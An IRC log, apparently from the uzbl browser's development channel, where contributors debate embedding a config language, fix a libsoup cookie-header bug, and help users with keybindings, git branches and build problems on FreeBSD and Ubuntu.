19:27 < Zaba> DuClare, then I fail to see the point as well, but even more so.
19:27 < DuClare> Mmmm
19:27 < DuClare> I can see the point of both sides
19:29 < Zaba> what's wrong with having a program that accepts some set of commands over a pipe and a socket and stdin?
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19:30 < neldoreth> i guess your first approach of a browser based on the unix philosophy "do one thing and do it well" is slowly falling apart by adding an extra language, so it just gets in unnecessary bigger and bigger - i mean on the one hand you have to think on your own about handling tabs etc, on the other hand you have a own language for it :?
19:30 < Zaba> lua interpreter is almost 14k lines of C code.
19:30 < DuClare> Zaba, "a program that accepts some set of commands" = "an interpreter for a language which supports calling built-in commands, user variables and variable expansion but not much more"
19:30 < mxey> Zaba: If you do not integrate it, an interpreter runs outside of uzbl.
19:31 < Zaba> mxey, yes, and it might as well not run at all if I don't use lua scripts
19:31 < mxey> sh is also an interpreter.
19:32 < rob|> well, i think an interface cannot be much simpler than basically just allowing to get and set certain values - that's what we have now
19:32 < rob|> what and how you do with those values is up to you
19:33 < Dieterbe> neldoreth: fair point. but to me, it's much more about "not reinventing the wheel" and keeping code minimal, modular and reusable.  so in general i don't think there's something wrong with including a few "reasonable" libraries, while the unix philosophy says "different programs" i just look at it a bit broader.  unless of course for things that really _belong_ in separate programs (like what we do now for download handling etc)
19:34 < Zaba> mxey, I might also not use sh.  I might cook up a C program that picks up random things and spits out just the commands I want.
19:36 < DuClare> Technically the library (i.e. the language we'd embed) is the "different program" which does its thing and we just interface to it
19:37 < Dieterbe> yep
19:37 < Zaba> ..then why not just do it the way wmii does it.
19:37 < DuClare> How does it do it?
19:38 < rob|> personally i'd present the interface as only variables to the user. e.g. 'set browser = back' or set 'browser.statusbar.status_message = foo'
19:39 < Dieterbe> though i have to say, it concerns me more that we have our own little language that is not a reusable component, then the lack of more advanced features.  In other words: i think it's more important to see if there are really miminal things out there similary to what we did, but as reusable library.  or if there's no such thing yet maybe we can make our parsing stuff a separate compontent
19:39 < rob|> so if we'd come up with a good structure/naming theme for the variables everything would be obvious and easy to use
19:40 < rob|> internally we still use actions an what not, but the user wouldn't have to care
19:40 < rob|> *could still
19:40 < neldoreth> Dieterbe: yeah of course, but is there really a need for an own language? i dont see at the moment any points where i would need that - about "reinventing the wheel": of course, but in my opinion there are some certain things like tabs, that i can nearly impossible live without (there is this mozilla challenge about other stuff that should replace tabs) - and at the moment i have no certain idea by replacing them or using something like ...
19:41 < neldoreth> ... them with uzbl, maybe with dmenu, but i didnt give it a lot of thought yet - but i guess such things belong more to "this should a browser can do" or are "more important" than a own scripting language - but thats only my opinion
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19:41 < neldoreth> because on the one hand you can say "thats not what a browser needs to do" - so maybe a browser should just only show the webpage correctly and nothing more?
19:42 < Zaba_> uh oh.
19:43 < Zaba_> something weird's happening here.
19:44 < Dieterbe> neldoreth: there are much better paradigms for multiple pages then tabs.  (see the mozilla challenge stuff).  we also want to implement such a better paradigm.  and yes, a basic language with user defineable variables, variable expansion etc is very useful. the question is just how far should we go, and do implement our own or look for already existing stuff
19:44 < Zaba_> why not just stay with what we got now (the command set and variable stuff) and see whether we *need* more?
19:45 < Zaba_> Because You Ain't Gonna Need a whopping language interpreter, y'know.
19:46 < Dieterbe> Zaba_: i have said several times by now that this issue is more about having moduler/reusable code then about having more features.
19:47 < neldoreth> "we also want to implement such a better paradigm" ok, because i guess when i remember i read at the arch bbs that tabs are a part where the user should deicide how its done and so there wont be any stuff like that - i didnt checked on any results or examples of the challenge yet - at the second point: of course its useful, thats for sure - but i guess its better to look for existing stuff (unix philosophy :?)
19:48 < Dieterbe> neldoreth: this is way too application/WM specific to speak about "existing stuff". in fact, i want our example scripts to use things like wmctcrl and dmenu
19:51 < neldoreth> "this is way too application/WM specific" thats a good point, especially on tabs - because with *box you can use more instances easily in a bar etc, but thats also features that the wm is bringing with itself - i guess we can discuss on this topics for days :D
19:53 < Dieterbe> it's very simple.  if you have a decent WM then you use tab layouts and others, that are very useful.  but if you want to use application-specific things (page state, tag etc) then you must use an application specific script
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19:59 < DuClare> Is my xmonad layout designed for gimp an application specific script?
19:59 < DuClare> Or is it about being able to configure the wm to handle a given application specially?
19:59 < DuClare> Don't answer
19:59 < mxey> Hard to tell.
19:59 < DuClare> Irrelevant. :)
20:00 < mxey> I want to dive into anyway.
20:00 < DuClare> Yep.
20:00 < mxey> The line is blurred with apps that are configured by programming languages.
20:00 < mxey> XMonad is more a WM library and your xmonad.hs a 'script' driving it.
20:00 < DuClare> We're walking the dividing lines.. easy to argue for both sides, hard to pick one side.  Both are good, both are bad..
20:01 < mxey> wmii is a WM library with a filesystem interface and a wmiirc driving it - only the interface differs.
20:01 < DuClare> mxey, What's a programming language and what's "a configuration script"?  I could imagine having all the layout combinator stuff in a "config script" and the line would still be blurre
20:01 < DuClare> +d
20:01 < mxey> Yes.
20:02 < mxey> But a library interface is more natural in most programming languages than going through a filesystem.
20:02 < DuClare> Mmm
20:04 < Zaba> So let's just make uzbl a library and make everyone write a C program for a config.
20:04 < mxey> yeah, C is really the most natural choice for a programming language in the 21st century.
20:05 < Zaba> yes, it is
20:05  * mxf would rather want a low/highlevel socket interface
20:05 < Zaba> Unix was written in it, no design choice of Unix is to be rethought!
20:05 < mxey> Everything is to be rethought, constantly. That is how you make progress.
20:06 < DuClare> Well
20:07 < Zaba> mxey, in soviet russia, progress is those who made you!
20:07 < mxey> :D
20:07 < DuClare> I think it's too early to say what features we really need wrt configuration.  I don't want to embed a language for branching, and nobody has seen a need for other language features so far
20:08 < DuClare> IMHO use what we have now (variables + expansion) and reconsider it again if it seems like we're getting redundancy in configs and scripts
20:08 < DuClare> Trying to decide now is similar to premature optimization
20:09 < Zaba> ack.
20:09 < DuClare> rob|, Dieterbe ^
20:10 < Dieterbe> well, a while ago i was thinking the same.  but then i started googling to find a very minimalist lanuage like what we have, but as library
20:10 < DuClare> Did you find?
20:10 < Dieterbe> no :P
20:10 < mxey> Maybe there is an embeddeble lolcode?
20:10 < Dieterbe> things are more advanced than what we currently do
20:11  * Zaba brews tea with NIH
20:11 < Zaba> so perhaps we gotta have a bit of it so far, just to avoid premature optimization
20:11  * Zaba sips
20:12 < sscj> if there needs to be a minimal language, forth is a good choice
20:12 < DuClare> There are bunches of good choices
20:13 < DuClare> And it'll be somewhat difficult to agree on what to use should we decide to adapt one, I fear :]
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20:15 < Dieterbe> sscj: forth looks a bit "unusual"
20:16 < sscj> perhaps. but it's a very minimal language and would be well suited for this particular task
20:19 < DuClare> Lisp looks a bit "unusual" to many, but that doesn't make it any worse..  My keyboard looks unusual but it kicks butt
20:19 < DuClare> :)
20:19 < Zaba> my keyboard has all those letters all over the place
20:19 < Zaba> I mean, cyrillic letters
20:19 < Zaba> the english ones are merely redundant, but cyrillic ones are weird and senseless.
20:20 < DuClare> Zaba, http://hikari.serveftp.org/p1010543.jpg :]
20:20 < MarSoft_> btw, why do uzbl crash when deleting cyrillic letters from commandline with backspace?
20:20 < DuClare> It crashes because there's a bug
20:21 < MarSoft_> :)
20:21 < DuClare> Happens with all multibyte chars
20:21 < Zaba> DuClare, that's a small photo
20:21 < DuClare> Indeed
20:21  * DuClare should buy a new 15Mpix camera.
20:22 < Zaba> DuClare, and that keyboard doesn't look exactly usable to those who didn't use it straight after birth
20:23 < DuClare> Took me < 2 weeks to adapt
20:27 < Zaba> DuClare, 15 is weak.  Get 21.1Mpix.
20:29 < DuClare> Right. :>
20:29 < DuClare> Actually, what I want is a better cell
20:29 < DuClare> This one is ridiculously noisy
20:29 < Zaba> DuClare, give people awesome 6MB photos they'll not be able to download ;P
20:29 < DuClare> ISO80 is as low as it goes, and it's still not quite enough indoors
20:30 < DuClare> Noise-wise
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21:33 < rob|> btw, nice&easy way to display vars in uzbl: 'bind ,conf _ = set inject_html = @%s' use it like ',conf proxy_url' :]
21:34 < Dieterbe> o_O
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21:34 < M2tias> O_o
21:35 < Dieterbe> set inject_html = @proxy_url ?
21:35 < rob|> yep
21:36 < rob|> set inject_html = <h1> Proxy: </h1><br> @proxy_url
21:36 < rob|> ;)
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21:49 < DuClare> rob|, When do the expansions take place now
21:51 < rob|> for now only when the var is 'set'
21:52 < bobpaul> pasting URLs possible? Or I suppose that's something you could do with the fifo, huh?
21:52 < rob|> i.e. in set_var_value
21:58 < DuClare> bobpaul, bind p          = sh 'echo "uri `xclip -o`" > $4'
21:59 < bobpaul> how does one know which of the numeric URLs are which? Is this documented, or take a peak at the code to figure it out?
21:59 < DuClare> Is documented
21:59 < DuClare> Read the readme, it's called readme for a reason
21:59 < bobpaul> err... vars, not urls
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22:02 < rob|> bobpaul: ?
22:02 < bobpaul> yeah, I suppose it is... I hadn't put much thought to it previously as I'm used to numeric vars being arguments
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23:06 < bubaak> while we are at it, the readme says the for custom scripts (spawn ...) the arguments from config are put to the beginning but they are actually put the end
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23:31 < jrick> I just built the latest, but the Makefile is broken on FreeBSD.  /usr/bin/install doesn't take the -D option
23:36 < mxey> I wonder why install is used instead of mkdir, cp and chmod anyway.
23:42 < jrick> what does the -D option do in the linux install program?
23:42 < mxey> create the necessary directories
23:42 < jrick> ok, and -d ?
23:43 < mxey> create the directory you specify
23:43 < mxey> install -d /foo/bar creates /foo/bar
23:43 < mxey> but install -D abc /foo/abc creates /foo
23:43 < jrick> ok
23:43 < mxey> and it's GNU install, not Linux ;)
23:43 < jrick> well, gnu/linux ;)
23:43 < jrick> I'm just lazy
23:43 < mxey> The install program contains no kernel at all, I think.
23:44 < mxey> Luckily GNU and Linux are not the same -> you can run Linux without GNU.
23:44 < jrick> yeah
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23:44 < jrick> Nexenta, for example
23:44 < mxey> That is GNU without Linux.
23:44 < jrick> yeah, just realized that :/
23:44 < jrick> but anyways......
23:45 < mxey> It's not easy to find replacements for GNU stuff - I think I will resort to BSD stuff mostly.
23:45 < jrick> I think the bsd -d option is the same as the gnu -D one
23:46 < jrick> oh wait, no
23:46 < jrick> nvm
23:47 < mxey> the uzbl Makefile should adhere to the Unix philosophy, too. install does not.
23:47 < mxey> if you patched the Makefile to not use install, it would also solve your problem ;)
23:48 < jrick> um
23:48 < jrick> this totally ignores my $PREFIX
23:48 < jrick> it's installing in /usr
23:49 < jrick> and on the bsd's, everything not in base goes in /usr/local
23:49 < mxey> I know.
23:49 < sECuRE> into /usr/pkg on NetBSD/pkgsrc-based distros, to be exact ;)
23:49 < jrick> yeah
23:49 < mxey> on GNU, docs and such usually go in /usr/share/doc/$pkg, not in /usr/share/$pkg
23:49 < mxey> sECuRE: s/distros/systems/
23:50 < sECuRE> hm, distro was meant in the sense of software distribution. but call it like you want ;)
23:50 < mxey> I do not want to blame the uzbl Makefile on the usual quality standards around Arch, but it is tempting..
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00:04 < jrick> the -x option of cp is also broken
00:04 < mxey>        -x, --one-file-system
00:04 < mxey>               stay on this file system
00:04 < mxey> interesting.
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00:56 < jrick> using F to follow hints seems to be broken on my system
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00:57 < jrick> wait, let me check to see if I have hint.js installed...
00:58 < jrick> nvm, turned out it was looking for everything in /usr
01:00 < jrick> ok, I see the numbers now, but I don't know how to select them and follow them...
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01:01 < jrick> ah, I think I figured out how
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01:14 < terver> what modkey setting is for?
01:14 < terver> and is it possible to bind Ctrl+something to action?
01:27 < Morasique> modkey is for if you have always_insert_mode on; if you do you need to hold the modkey to do your bindings
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01:58 < jrick> Is it possible to use a number before a command (without hardcoding it), so I can do 2b to go back 2 pages, for example?
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02:52 < seppo0010> hi people
02:52 < seppo0010> can somebody give me a hand
02:52 < seppo0010> with git?
02:52 < seppo0010> I'm trying to try the experimental version
02:53 < bubaak> seppo0010: and what's the problem?
02:53 < seppo0010> I clone the repo
02:54 < seppo0010> using git clone git://github.com/Dieterbe/uzbl.git
02:54 < seppo0010> and when I try to use the experimental branch
02:54 < seppo0010> I... just fial
02:54 < seppo0010> *fail
02:55 < jrick> well, if you fail and not the software...
02:55 < seppo0010> yeah,  I know I'm the problem :P
02:55 < seppo0010> that's why I am asking for help
02:56 < jrick> well, "just failing" isn't an error message
02:56 < seppo0010> ok
02:56 < seppo0010> seppo /home/seppo/Desktop  $  cd uzbl/
02:56 < seppo0010> seppo /home/seppo/Desktop/uzbl  $  git checkout experimental
02:56 < seppo0010> error: pathspec 'experimental' did not match any file(s) known to git.
02:57 < bubaak> try 'git checkout origin/experimental', it's not local branch
02:57 < seppo0010> ok
02:57 < seppo0010> and now? git pull?
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02:58 < bubaak> hmm the checkout should be enough
02:59 < seppo0010> really?
02:59 < seppo0010> I am supposed to have the new version already?
03:01 < bubaak> yeah i think so, at least that's what i can see here :) check out git log
03:02 < seppo0010> seems to be updated... awesome
03:02 < seppo0010> thanks
03:02 < bubaak> sure :)
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03:14 < visionofarun> Hi, I am having some issues while building uzbl. Can someone help me please.
03:15 < visionofarun> Here is the compile error -- http://uzbl.pastebin.com/d2debdce8
03:16 < visionofarun> I am on Ubuntu 9.04 and I guess that I dont have latest libwebkit.
03:16 < visionofarun> The one I have is libwebkit-1.0.1-4
03:17 < visionofarun> Could this be a problem?
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03:24 < sscj> dependencies: libwebkit 1.1.4 or higher
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05:17 < bobpaul> visionofarun: I had the same problem. You can use the libwebkit from karmic
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08:28 < Dieterbe> morning dudes
08:31 < M2tias> morning
08:57 < Dieterbe> DuClare> bobpaul, bind p          = sh 'echo "uri `xclip -o`" > $4' <-- shouldn't we be able to do something like: bind p = set uri = $(xclip -o). i thought i read rob mentioning support for $() yesterday, but maybe that's me
08:57 < Dieterbe> rob|_: ^^?
08:58 < M2tias> $4 is fifo?
08:58 < M2tias> or errr
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09:08 < Dieterbe> M2tias: run with --verbose and you'll see
09:09 < DuClare> Dieterbe, Perhaps you confused with @{}
09:09 < DuClare> Which is the shell-like syntax for expanding variables..
09:10 < Dieterbe> no, i'm not.  maybe i'm just wrong, but not confused :)
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09:38 < rob|_> Dieterbe: then you're wrong :p.
09:38 < rob|_> morning..
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09:53 < Dieterbe> :P
09:56 < rob|_> i thought about supporting some more of these features, too.
09:56 < rob|_> like $(), etc.
09:59 < rob|_> would complicate the parser, though. as you could built "recursive" structures $(foo @var)
10:00 < rob|_> this means things would need to be evaluated in a specific order
10:02 < Dieterbe> ..or maybe we could find/use an sh library for this :P
10:03 < rob|_> yeah, though i'm not sure there is any that does what we need without introducing dozens of functions with zero use to us..
10:07 < Dieterbe> yeah, i'm afraid of that too
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11:49 < bct> this is probably a faq but i can't find it anywhere: is there some way to get one of the follow*.js to open a link in a new window?
11:49 < bct> changing 'window.location=...' to 'window.open(...)' doesn't seem to work
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12:19 < Dieterbe> bct: that's a good question
12:19 < Dieterbe> myself, i don't know. but sscj and jouz are the JS guys. maybe they know
12:23 < sscj> it doesn't work
12:25 < sscj> because of create_web_view_cb
12:26 < sscj> until someone works out the policy handling, it's probably best to disable js code from spawning new windows
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12:42 < sscj> it should work if you move your mouse over the link before you run window.open :V
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12:58 < DuClare> o_O
12:58 < DuClare> Funny.
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14:47 < informancer> Hi everyone
14:48 < sscj> hello
14:50 < informancer> Has anyone had problem with 'trying to recursively lock a mutex at 'unknown', previouslw locked at 'unknown''?
14:50 < informancer> I get that error when trying to load the page uzbl.org, video.google.com and quite a lot of other.
14:51 < informancer> and just after that, the program aborts.
14:53 < informancer> any ideas about what I can do?
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15:19 < Dieterbe> informancer: never had that
15:19 < Dieterbe> run it in gdb
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15:22 < informancer> Dieterbe, to you mean 'let it core dump and have a look at it?'
15:22 < informancer> got the dump, but can't make head or tail of the info.
15:26 < sECuRE> gdb =uzbl core.*
15:27 < sECuRE> backtrace
15:27 < sECuRE> nopaste the output of that
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15:35 < informancer> http://pastebin.com/d132d5415
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16:10 < bobpaul> can items be added to the context menu, or is that wholly controlled by webkit? I'd like to add an item when right clicking on images, but if not I suppose I could do something similar to the anchor hinting
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16:32 < sECuRE> i’m pretty sure items can be added
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16:35 < sscj> there is a populate-popup signal
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19:23 < Dieterbe> hmm something is weird about the cookie_handler / libsoups "request-queued" signal
19:23 < Dieterbe> it doesn't happen synchronously as i would expect
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19:24 < Dieterbe> when i set http_debug to 3 i sometimes see requests before the cookie_handler is called. or maybe it makes a new thread for that :/
19:29 < Dieterbe> scratch that.  if i put a sleep(10) in handle_cookies it obstructs the whole program (and hence, the http request) which is good
19:34 < Dieterbe> i'll look into it further later. have to go now
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21:58 < mateusz> hi
21:59 < mateusz> anyone knows whether it is possible to bind command to a ctrl + key shortcut?
21:59 < mateusz> every example config file I have seen only contains vi like modes and single keys
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22:48 < jedahan> mateusz, change modkey to ctrl and set always_insert_mode = 1? not *exactly* what you want but works...
22:50 < jedahan> mateusz, or if you don't mind using shift instead of ctrl, you can map uppercase letters to something different, and it will act like ctrl + key
22:52 < DuClare> mateusz, Yes it is, but you can't pick just any key
22:52 < DuClare> mateusz, Specifically, you can use control characters
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22:53 < jedahan> DuClare, is that documented anywhere?
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22:54 < DuClare> jedahan, I don't think so
22:58 < mateusz> ok, but how should I map this, would it be X global?
22:58 < mateusz> currently I have ctrl mapped on caps lock
22:58 < mateusz> for emacs and vi
22:59 < Dieterbe> re
22:59 < mateusz> ah, ok, I see the modkey, that's enough for me, thanks
23:03 < mateusz> ok, I started uzbl withot config, then on stdin I typed
23:03 < mateusz> set modkey = ctrl
23:03 < mateusz> set always_insert_mode = 1
23:03 < mateusz> bind j = scroll_vert 20
23:03 < mateusz> set uri = google.pl
23:03 < mateusz> however ctrl+j doesn't scroll the page
23:04 < Dieterbe> i'm not sure if 'ctrl' is the correct syntax
23:04 < mateusz> ok
23:04 < mateusz> I'll google it
23:05 < Dieterbe> DuClare: it doesn't seem to matter if the cookie handler has spawn or sync_spawn?
23:05 < Dieterbe> in the config
23:06 < DuClare> Dieterbe, If it's not a chain action, it'll automatically transform sh or sync to sync_* when setting the handler variable
23:07 < Dieterbe> ah, i see
23:07 < Dieterbe> we do this to "protect" users for potential mistakes?
23:12 < mateusz> unfortunately the following also doesn't work
23:12 < mateusz> set modkey = Control_L
23:12 < mateusz> set always_insert_mode = 1
23:12 < mateusz> bind j = scroll_vert 20
23:12 < mateusz> set uri = google.com
23:18 < DuClare> mateusz, It's CONTROL
23:18 < DuClare> Lowercase should be fine though
23:18 < mateusz> doesn't work for me
23:19 < mateusz> am I doing the bind correctly?
23:19 < mateusz> it would be nice if the commands would output log messages to standard error output
23:19 < mateusz> fa
23:20 < mateusz> well ok, for not understood commands it works
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23:52 < Dieterbe> *sigh*
23:52 < Dieterbe> i'm pretty sure we do soup_message_headers_replace (msg->request_headers, "Cookie", uzbl.comm.sync_stdout);
23:52 < Dieterbe> but yet, when i log the http headers, the 'cookie' part is not in it :/
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00:07 < bobpaul> is it possible to capture the result of a javascript and send it to a script? basically, I want "document.links[%s].href" passed as an argument. .. or, use the socket, I guess?
00:07 < DuClare> Not possible
00:08 < Dieterbe> DuClare: any idea for this error: (uzbl:22505): libsoup-CRITICAL **: soup_message_headers_append: assertion `strpbrk (value, "\r\n") == NULL' failed
00:08 < Dieterbe> the violating line is: soup_message_headers_replace (msg->request_headers, "Cookie", (const char *) uzbl.comm.sync_stdout);
00:08 < DuClare> Dieterbe, Examine what is in uzbl.comm.sync_sttdout
00:08 < Dieterbe> however, this works perfectly: soup_message_headers_replace (msg->request_headers, "Cookie", "test");
00:08 < DuClare> stdout
00:09 < DuClare> Uh
00:09 < Dieterbe> just a string (pointed to by a gchar *)
00:09 < Dieterbe> not an empty string
00:09 < DuClare> Yes, what's in the string?
00:09 < DuClare> Is the string what it should be?
00:09 < DuClare> I don't think it is
00:09 < Dieterbe> for example, something like 'DWa976077ab53ea1a0f12b663e732b73c0=deleted'
00:10 < DuClare> I presume \r\n has something to do with the protocol.
00:10 < DuClare> For separating headers or such
00:10 < DuClare> That's how it's used in http, anyway
00:10 < DuClare> So I take it the assertion suggests that you're not sending what you should be sending
00:11 < DuClare> But I haven't looked into the format the cookies should use and I'm not intimate with libsoup so I can't say much
00:11 < Dieterbe> aha. maybe i send a newline too much
00:12 < Dieterbe> maybe i should just strip the "\n" from the end
00:20 < Dieterbe> sweeet
00:20 < Dieterbe> DuClare: i just had to strip the ending '\n'. now it works. thanks mate
00:21 < Dieterbe> in fact, i have (basic) cookies working :)
00:22 < Deepspawn> Dieterbe, I want
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00:23 < github> uzbl: Dieter Plaetinck experimental SHA1-5941ba2
00:23 < github> cleanup. log script stdout with verbose flag
00:23 < github> http://bit.ly/t738H
00:23 < github> uzbl: Dieter Plaetinck experimental SHA1-ce4ce4a
00:24 < github> adapt to new syntax
00:24 < github> http://bit.ly/15E5LZ
00:24 < github> uzbl: Dieter Plaetinck experimental SHA1-fb4d926
00:24 < github> fix for better uzbl.comm.sync_stdout checking + fix for libsoup-CRITICAL **: soup_message_headers_append: assertion strpbrk (value, "\r\n") == NULL' failed. basic cookies seem to be working now
00:24 < github> http://bit.ly/19lOM9
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00:26 < sscj> cool
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00:27 < Dieterbe> hmm doesn't work to well yet though
00:28 < Dieterbe> the idea was to just always store & always send for now (if host/path matches)
00:28 < Dieterbe> doesn't work for bbs.archlinux.org though
00:28 < Dieterbe> but i'm off
00:29 < Dieterbe> nn all
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09:43 < Dieterbe> good morning peeps
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09:55 < github> uzbl: Robert Manea experimental SHA1-0c5963c
09:55 < github> use switch in xpand_var()
09:55 < github> http://bit.ly/jnJVa
09:55 < github> uzbl: DuClare experimental SHA1-26f103c
09:55 < github> Make --uri override the uri read from config.
09:55 < github> http://bit.ly/By6gc
09:56 < github> uzbl: DuClare experimental SHA1-affa3d4
09:56 < github> Add var 'verbose'
09:56 < github> http://bit.ly/1xCL9Y
09:56 < github> uzbl: Robert Manea experimental SHA1-1a21270
09:56 < github> Merge branch 'experimental' of git://github.com/DuClare/uzbl
09:56 < github> http://bit.ly/nM4NE
09:56 < github> uzbl: Robert Manea experimental SHA1-f219ef2
09:56 < github> added print command
09:56 < github> http://bit.ly/aT6Kp
09:56 < github> uzbl: Robert Manea experimental SHA1-d6911ff
09:56 < github> removed get command in favour of print
09:56 < github> http://bit.ly/u5HDf
09:56 < github> uzbl: Dieter Plaetinck experimental SHA1-fe60a9f
09:56 < github> Merge commit 'rob/master' into experimental
09:56 < github> http://bit.ly/TTdjK
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09:57 < Dieterbe> sscj: can you merge from my experimental? i'm considering pulling from you, but the diff is huge because you're lagging behind
10:02 < Negher> Good morning everybody.
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10:07 < andy753421> does anyone have any suggestions for caching images and such?
10:08 < Dieterbe> i think webkit does so, but not-persistently during a session
10:09 < Dieterbe> not sure yet if we will implement persistent caching in uzbl or recommend a caching proxy
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11:05 < sm217> Dieterbe: you're the only author of cookie handling script, right?
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11:37 < Frots> good mornin'
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12:34 < sscj> Dieterbe: yeah, my github repo is a bit of a mess :/
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13:02 < sscj> just built dieterbe/experimental and it doesn't understand half of my config file...
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13:53 < sscj> the config parser doesn't understand \t's
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14:12 < sscj> Dieterbe: merged
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14:40 < DuClare> \t's?
14:44 < sscj> tabs
14:44 < sscj> had to do a :retab on my config file
14:49 < sscj> what happened to KEYCMD?
14:50 < DuClare> Nothing.  It should work.
14:51 < sscj> 'command "KEYCMD" is not understood. ignoring'
14:51 < sscj> using lc keycmd does nothing
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14:58 < sscj> got it to work at last
15:00 < sscj> how does the variable expansion work?
15:01 < sscj> I tried "bind O = keycmd :open @uri"
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15:21 < bubaak> sscj: did you find any solution to it?
15:27 < sscj> bubaak: variable expansion? no
15:28 < sscj> using a workaround, "bind O = sh 'echo "keycmd :open $6" > "$4"'"
15:28 < bubaak> sscj: i was playing with the particular command you tried as well but with no luck
15:28 < bubaak> sscj: ok, will try that
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16:03 < Dieterbe> sscj: why did you change the arguments in the yank script?
16:04 < Dieterbe> sample invocation: spawned: './examples/scripts/yank.sh' 'examples/configs/sampleconfig-dev' '4040' '27262979' '/tmp/uzbl_fifo_27262979' '/tmp/uzbl_socket_27262979' 'http://www.uzbl.org/' 'Uzbl - the uzbl browser.' '6' 'primary' -- result: true
16:04 < Dieterbe> ah never mind
16:04 < Dieterbe> i see it now
16:05 < Dieterbe> good job :P
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16:41 < sscj> Dieterbe: have you tried the new linkfollow.js?
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17:20 < Dieterbe> sscj: i have merged it, but not yet played with it
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17:26 < sscj> it uses a lot less xpath queries so it should be a bit snappier
17:27 < Dieterbe> aha
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17:30 < barrucadu> We got mentioned in K.Mandla's blog: http://kmandla.wordpress.com/2009/06/01/uzbl-is-quite-usable/ :)
17:31 < jrib> this is a fantastic idea!
17:33 < sscj> who is k.mandla?
17:33 < jrib> Can I use greasemonkey with uzbl somehow?
17:34 < sscj> jrib: yes, but you need to run it external to uzbl. something like http://search.cpan.org/dist/HTTP-Proxy-GreaseMonkey/lib/App/GreaseMonkeyProxy.pm
17:35 < barrucadu> sscj: Arch / Ubuntu user. Seems more well known in the Ubuntu community than the Arch one though
17:35 < jrib> sscj: I see
17:36 < Zaba_> uzbl's usable once you configure it, and that ain't all so hard really.
17:41 < Masca> haha I love how this "dump config" just send everything to stdout. It's easy, it's clean and you can pipe it. =P
17:42 < barrucadu> We have a "dump config" now? :O
17:42 < Masca> yup, rob wrote it.
17:42 < Masca> I'm reading commits.
17:43 < barrucadu> I'm just merging so I don't have a massive diff at the end of my exams…
17:43 < Dieterbe> rob is da man :(
17:43 < Dieterbe> :) i mean
17:44 < Masca> Yeah. Don't know how he write all that code that quick.
17:45  * barrucadu realises he is using Opera
17:46 < barrucadu> I need to switch. But Opera is sooo comfortable and familiar…
17:46 < barrucadu> I'm an Opera addict :p
17:46 < Zaba_> sooo bloated... ;p
17:46 < barrucadu> I know. But *familiar* :p
17:46 < barrucadu> Not that Uzbl isn't familiar <.>
17:47 < barrucadu> Opera is more familiar though…
17:47 < barrucadu> I'm only keeping Opera around as my homemade RSS aggregator script causes Uzbl to freeze. I should really figure out why instead of keep another browser installed…
17:48 < Zaba_> wait, you read rss feeds in a web browser?
17:48 < sECuRE> i do that too, using planet
17:48 < barrucadu> Yes
17:49 < barrucadu> I could read them in a terminal - all my script does is grab recent items from a database and display them, so it'd just take a little editing…
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17:52 < Masca> just use google reader.
17:53 < barrucadu> Then I'd have to load google to check my feeds, rather than just load a page on my machine - which is far faster
17:54  * barrucadu goes off to rewrite his script
17:56 < uranther> barrucadu, you writing a script for RSS reading?
17:58 < barrucadu> uranther: I've got one, I'm rewriting it to hopefully not break Uzbl :)
17:58 < barrucadu> It downloads feeds every hour, and any new entries get displayed on the web page
17:59 < uranther> i see
17:59 < uranther> kind of like a desktop app loaded through the browser?
17:59 < barrucadu> Sort of
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18:00 < uranther> err yea i don't know what to call it :P
18:00 < uranther> but sounds cool
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18:20 < github> uzbl: Dieter Plaetinck experimental SHA1-dc1cd0b
18:20 < github> fix fields for other sample config too
18:20 < github> http://bit.ly/dkN70
18:20 < github> uzbl: Dieter Plaetinck experimental SHA1-22f1e1b
18:20 < github> make binary packages section more generic and refer to wiki
18:20 < github> http://bit.ly/HzXqk
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18:20 < Masca> I'm getting a glib warning about "dettach-window" and "destroy" signals, don't you think we can just drop that lines?
18:23 < Dieterbe> barrucadu: i reworded our introduction text @ http://www.uzbl.org/ a bit to make it clear we're not just "vimperator on webkit" and that we haven't done any release yet (i also pushed this to my github)
18:24 < sscj> should uzbl give up if it can't establish the fifo?
18:26 < jrib> s/then/than/ in multiple-instances-management
18:32 < Dieterbe> sscj: yes
18:33 < sscj> good. most of the time when stuff isn't working, turns out it's because there's a stale fifo lying around
18:34 < uranther> Dieterbe, do i need to do anything more to get my fork to be merged?
18:35 < DuClare> sscj, You can workaround that by using a launcher script which names the instance (and optionally creates a directory for it) and tells to create the fifo there
18:36 < DuClare> sscj, And when uzbl exits (whether a segfault or normal exit), remove the fifo and/or the dir
18:36 < Dieterbe> uranther: yes. you need to have only relevant changes when compared to my experimental tree.  you started working against master which was not all that smart, but you should be able to fix this quite easily by merging in my latest experimental into your tree
18:36 < uranther> ok :> yeah i actually intended to fork your experimental but it turns out it didn't work
18:37 < uranther> how can i merge with your master?
18:37 < uranther> err experimental
18:37 < DuClare> Depending on how you cloned, git merge <remote>/experimental
18:37 < DuClare> Remote is origin if you simply cloned diet's git
18:38 < uranther> well, i forked dieterbe's experimental, then cloned my fork
18:38 < Dieterbe> but first 'git fetch dieter'
18:38 < DuClare> uranther, So set up a remote for diet
18:38 < barrucadu> git pull <remote> experimental will do it
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18:39 < DuClare> git remote add diet git://dietsurl...
18:39 < Masca> `git fetch remote experimetal` review the diff and then merge.
18:39 < DuClare> <,<
18:39 < uranther> uh? lol which one do i do first
18:39 < Masca> first remote add.
18:40 < uranther> ok lemme try
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18:42 < uranther> [uzbl]$ git remote add Dieterbe git://github.com/Dieterbe/uzbl.git
18:42 < uranther> [uzbl]$ git fetch remote experimental
18:42 < uranther> fatal: 'remote': unable to chdir or not a git archive
18:42 < uranther> fatal: The remote end hung up unexpectedly
18:42 < uranther> :|
18:43 < Masca> are you on your working dir?
18:43 < uranther> yep
18:43 < barrucadu> You need to enter the name of the remote, which is Dieterbe in your case. So the command is "git fetch Dieterbe experimental"
18:44 < uranther> oh ok
18:44 < Masca> hehe yep, that too. =P
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18:45 < uranther> ok that worked.. how do i review the diff?
18:45 < Masca> Actually I use gitk.
18:46 < Masca> I guess you can safely just merge your branch with diet's
18:47 < uranther> git merge Dieterbe ?
18:49 < jrib> CHECKLIST mentioned in CONTRIBUTING is now TODO, is that correct?
18:49 < Masca> git merge Dieterbe/experimental
18:50 < uranther> k
18:50 < uranther> it says that doesn't point to a commit
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19:29 < barrucadu> ,/window splith 50
19:29 < barrucadu> Oops
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19:49 < uranther> aha! i did it!
19:49 < uranther> merged with Dieterbe/experimental
19:49 < uranther> haphazardly
19:50 < jrick> the proxy_url setting seems to be broken in the master branch (haven't checked experimental). I tried setting it to http://localhost:8123 for polipo, but it keeps connecting to pages by itself.
19:55 < jrick> it also doesn't seem to recognize the http_proxy environmental variable
